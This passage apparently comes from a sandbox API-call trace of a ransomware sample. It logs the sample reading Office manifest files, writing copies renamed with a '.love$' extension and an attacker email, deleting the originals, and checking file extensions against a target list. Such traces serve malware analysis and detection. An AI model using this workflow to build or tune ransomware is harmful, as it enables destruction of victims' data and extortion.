lpOverlapped=0x0) returned 1 [0111.223] WriteFile (in: hFile=0x318, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4c00, lpOverlapped=0x0) returned 1 [0111.225] ReadFile (in: hFile=0x360, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0111.225] WriteFile (in: hFile=0x318, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x13e, lpOverlapped=0x0) returned 1 [0111.225] SetEndOfFile (hFile=0x318) returned 1 [0111.225] CloseHandle (hObject=0x318) returned 1 [0111.230] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.230] SetEndOfFile (hFile=0x360) returned 1 [0111.232] CloseHandle (hObject=0x360) returned 1 [0111.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0111.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1 [0111.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0111.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0111.302] lstrlenW (lpString=".doc") returned 4 [0111.302] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.302] lstrlenW (lpString=".docx") returned 5 [0111.302] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0111.302] lstrlenW (lpString=".pdf") returned 4 [0111.319] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.319] lstrlenW (lpString=".xls") returned 4 [0111.319] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.319] lstrlenW (lpString=".xlsx") returned 5 [0111.319] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0111.319] lstrlenW (lpString=".ppt") returned 4 [0111.319] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0111.319] lstrlenW (lpString=".zip") returned 4 [0111.319] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.319] lstrlenW (lpString=".rar") returned 4 [0111.319] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.320] lstrlenW (lpString=".bz2") returned 4 [0111.320] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.320] lstrlenW (lpString=".7z") returned 3 [0111.320] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0111.320] lstrlenW (lpString=".dbf") returned 4 [0111.320] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0111.320] lstrlenW (lpString=".1cd") returned 4 [0111.320] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0111.320] lstrlenW (lpString=".jpg") returned 4 [0111.320] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0111.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0111.321] lstrlenW (lpString=".doc") returned 4 [0111.321] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.321] lstrlenW (lpString=".docx") returned 5 [0111.321] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0111.321] lstrlenW (lpString=".pdf") returned 4 [0111.321] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.321] lstrlenW (lpString=".xls") returned 4 [0111.321] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.321] lstrlenW (lpString=".xlsx") returned 5 [0111.321] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0111.321] lstrlenW (lpString=".ppt") returned 4 [0111.321] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0111.321] lstrlenW (lpString=".zip") returned 4 [0111.321] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.321] lstrlenW (lpString=".rar") returned 4 [0111.321] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.321] lstrlenW (lpString=".bz2") returned 4 [0111.321] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.321] lstrlenW (lpString=".7z") returned 3 [0111.321] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0111.321] lstrlenW (lpString=".dbf") returned 4 [0111.322] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0111.322] lstrlenW (lpString=".1cd") returned 4 [0111.322] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0111.322] lstrlenW (lpString=".jpg") returned 4 [0111.322] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.322] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0111.322] lstrlenW (lpString="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 53 [0111.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0111.323] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=1261) returned 1 [0111.323] CloseHandle (hObject=0x360) returned 1 [0111.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0111.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0111.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0111.323] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.324] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0111.324] GetLastError () returned 0x0 [0111.324] ReadFile (in: hFile=0x360, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0111.529] WriteFile (in: hFile=0x318, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0111.552] ReadFile (in: hFile=0x360, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0111.552] WriteFile (in: hFile=0x318, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x13e, lpOverlapped=0x0) returned 1 [0111.553] SetEndOfFile (hFile=0x318) returned 1 [0111.558] CloseHandle (hObject=0x318) returned 1 [0111.561] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.561] SetEndOfFile (hFile=0x360) returned 1 [0111.563] CloseHandle (hObject=0x360) returned 1 [0111.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0111.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1 [0111.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0111.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0111.564] lstrlenW (lpString=".doc") returned 4 [0111.564] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.564] lstrlenW (lpString=".docx") returned 5 [0111.564] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0111.564] lstrlenW (lpString=".pdf") returned 4 [0111.564] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.564] lstrlenW (lpString=".xls") returned 4 [0111.564] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.564] lstrlenW (lpString=".xlsx") returned 5 [0111.564] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0111.564] lstrlenW (lpString=".ppt") returned 4 [0111.564] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0111.564] lstrlenW (lpString=".zip") returned 4 [0111.564] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.564] lstrlenW (lpString=".rar") returned 4 [0111.564] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.564] lstrlenW (lpString=".bz2") returned 4 [0111.564] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.564] lstrlenW (lpString=".7z") returned 3 [0111.564] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0111.564] lstrlenW (lpString=".dbf") returned 4 [0111.564] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0111.565] lstrlenW (lpString=".1cd") returned 4 [0111.565] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0111.565] lstrlenW (lpString=".jpg") returned 4 [0111.565] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0111.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0111.565] lstrlenW (lpString=".doc") returned 4 [0111.565] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.565] lstrlenW (lpString=".docx") returned 5 [0111.565] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0111.565] lstrlenW (lpString=".pdf") returned 4 [0111.565] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.565] lstrlenW (lpString=".xls") returned 4 [0111.565] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.565] lstrlenW (lpString=".xlsx") returned 5 [0111.565] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0111.565] lstrlenW (lpString=".ppt") returned 4 [0111.565] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0111.565] lstrlenW (lpString=".zip") returned 4 [0111.565] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.565] lstrlenW (lpString=".rar") returned 4 [0111.565] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.566] lstrlenW (lpString=".bz2") returned 4 [0111.566] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.566] lstrlenW (lpString=".7z") returned 3 [0111.566] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0111.566] lstrlenW (lpString=".dbf") returned 4 [0111.566] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0111.566] lstrlenW (lpString=".1cd") returned 4 [0111.566] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0111.566] lstrlenW (lpString=".jpg") returned 4 [0111.566] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.566] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0111.566] lstrlenW (lpString="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 53 [0111.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0111.567] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=1261) returned 1 [0111.567] CloseHandle (hObject=0x360) returned 1 [0111.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0x220 [0111.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0111.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0111.567] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.567] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0111.568] GetLastError () returned 0x0 [0111.568] ReadFile (in: hFile=0x360, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0111.571] WriteFile (in: hFile=0x318, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0111.574] ReadFile (in: hFile=0x360, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0111.574] WriteFile (in: hFile=0x318, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x13e, lpOverlapped=0x0) returned 1 [0111.575] SetEndOfFile (hFile=0x318) returned 1 [0111.578] CloseHandle (hObject=0x318) returned 1 [0111.582] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.582] SetEndOfFile (hFile=0x360) returned 1 [0112.130] CloseHandle (hObject=0x360) returned 1 [0112.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0112.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1 [0112.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0112.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0112.134] lstrlenW (lpString=".doc") returned 4 [0112.135] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.135] lstrlenW (lpString=".docx") returned 5 [0112.135] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0112.135] lstrlenW (lpString=".pdf") returned 4 [0112.135] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.135] lstrlenW (lpString=".xls") returned 4 [0112.135] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.135] lstrlenW (lpString=".xlsx") returned 5 [0112.135] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0112.135] lstrlenW (lpString=".ppt") returned 4 [0112.135] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0112.136] lstrlenW (lpString=".zip") returned 4 [0112.136] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.136] lstrlenW (lpString=".rar") returned 4 [0112.136] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.136] lstrlenW (lpString=".bz2") returned 4 [0112.137] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.137] lstrlenW (lpString=".7z") returned 3 [0112.137] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0112.137] lstrlenW (lpString=".dbf") returned 4 [0112.137] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0112.137] lstrlenW (lpString=".1cd") returned 4 [0112.139] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0112.139] lstrlenW (lpString=".jpg") returned 4 [0112.139] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0112.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0112.139] lstrlenW (lpString=".doc") returned 4 [0112.139] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.139] lstrlenW (lpString=".docx") returned 5 [0112.140] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0112.140] lstrlenW (lpString=".pdf") returned 4 [0112.140] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.140] lstrlenW (lpString=".xls") returned 4 [0112.140] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.140] lstrlenW (lpString=".xlsx") returned 5 [0112.140] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0112.140] lstrlenW (lpString=".ppt") returned 4 [0112.140] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0112.140] lstrlenW (lpString=".zip") returned 4 [0112.140] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.140] lstrlenW (lpString=".rar") returned 4 [0112.140] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.140] lstrlenW (lpString=".bz2") returned 4 [0112.141] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.141] lstrlenW (lpString=".7z") returned 3 [0112.141] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0112.141] lstrlenW (lpString=".dbf") returned 4 [0112.141] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0112.141] lstrlenW (lpString=".1cd") returned 4 [0112.141] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0112.141] lstrlenW (lpString=".jpg") returned 4 [0112.141] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.141] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0112.144] lstrlenW (lpString="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 53 [0112.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0112.145] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=2147) returned 1 [0112.145] CloseHandle (hObject=0x360) returned 1 [0112.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0x220 [0112.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0112.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 